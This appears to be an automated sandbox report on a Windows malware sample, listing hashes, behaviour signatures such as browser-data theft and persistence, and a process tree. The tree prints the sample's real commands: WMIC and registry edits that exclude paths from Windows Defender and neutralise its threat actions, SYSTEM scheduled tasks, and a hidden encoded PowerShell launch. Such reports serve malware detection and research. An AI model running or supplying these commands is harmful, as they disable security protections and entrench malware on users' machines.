Analysis

  • max time kernel
    163s
  • max time network
    261s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-04-2024 01:44

General

  • Target

    3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe

  • Size

    6.6MB

  • MD5

    d1a74dc914c8e798a102056bfbf52714

  • SHA1

    8156de08a9859961e2b50682e356b57dba87f135

  • SHA256

    3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43

  • SHA512

    dcde83622b9f6d525f9a0dc7b12f36e86665761e4dfcf9c778214e11c065a5c6ffb6beefb1f1d4b661be6f0a663630a414596ad14ebfdf69fee597435d90ffcc

  • SSDEEP

    196608:91OU2zjVpYD8vDwJmaHxbS2Os9qP0eEIxaK:3OU2tpRvDqRbhOZ0f+aK

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 49 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe
    "C:\Users\Admin\AppData\Local\Temp\3a6e06f69d613fa614e5b56ce56bb70fb1400edb7ecb18885611414646d95e43.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Users\Admin\AppData\Local\Temp\7zS5C1A.tmp\Install.exe
      .\Install.exe /pmdidVs "525403" /S
      2⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:656
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4160
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3084
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4568
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bwrroZoeZRoQVpyAcj" /SC once /ST 01:45:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\ULWbGXB.exe\" ZO /mCsite_idquC 525403 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:4820
  • C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\ULWbGXB.exe
    C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\EmHZJQvMUXyMfbh\ULWbGXB.exe ZO /mCsite_idquC 525403 /S
    1⤵
    • Executes dropped EXE
    • Drops desktop.ini file(s)
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3700
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:1064
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:3152
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:2944
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:2920
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:4256
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:2732
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:1248
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:2988
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:4140
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:352
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:5012
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4608
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4476
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:3204
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3548
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4032
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4228
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3076
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3636
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:1816
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2432
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1132
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4188
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:216
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4048
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3692
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4172
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:388
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJLDvKxDU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OJLDvKxDU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jDcnSjPvYahU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jDcnSjPvYahU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qpZxqHvFKXpRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qpZxqHvFKXpRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vGrfpbVBjyUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vGrfpbVBjyUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mMAjWdbxOIjSziVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mMAjWdbxOIjSziVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\heXdjphsLYtTYYrU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\heXdjphsLYtTYYrU\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:208
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:2892
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:1676
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OJLDvKxDU" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:1068
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:4392
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jDcnSjPvYahU2" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:2880
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:2876
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpZxqHvFKXpRC" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:1996
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:4152
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vGrfpbVBjyUn" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:3164
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2824
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3896
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mMAjWdbxOIjSziVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:1304
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mMAjWdbxOIjSziVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2500
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4772
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:2108
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:320
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\AjftBdcqEhUoRKcxg /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4956
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\heXdjphsLYtTYYrU /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:628
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\heXdjphsLYtTYYrU /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3180
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "gnooBtUxm" /SC once /ST 00:41:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                    2⤵
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:4864
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /run /I /tn "gnooBtUxm"
                                                                                                    2⤵
                                                                                                      PID:4504
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /DELETE /F /TN "gnooBtUxm"
                                                                                                      2⤵
                                                                                                        PID:708
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "qXnxKrbPbFSTFetyh" /SC once /ST 00:15:04 /RU "SYSTEM" /TR "\"C:\Windows\Temp\heXdjphsLYtTYYrU\JeJpDbzSFcJdlmk\sARmhrL.exe\" ob /Dvsite_idcDP 525403 /S" /V1 /F
                                                                                                        2⤵
                                                                                                        • Drops file in Windows directory
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:4824
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
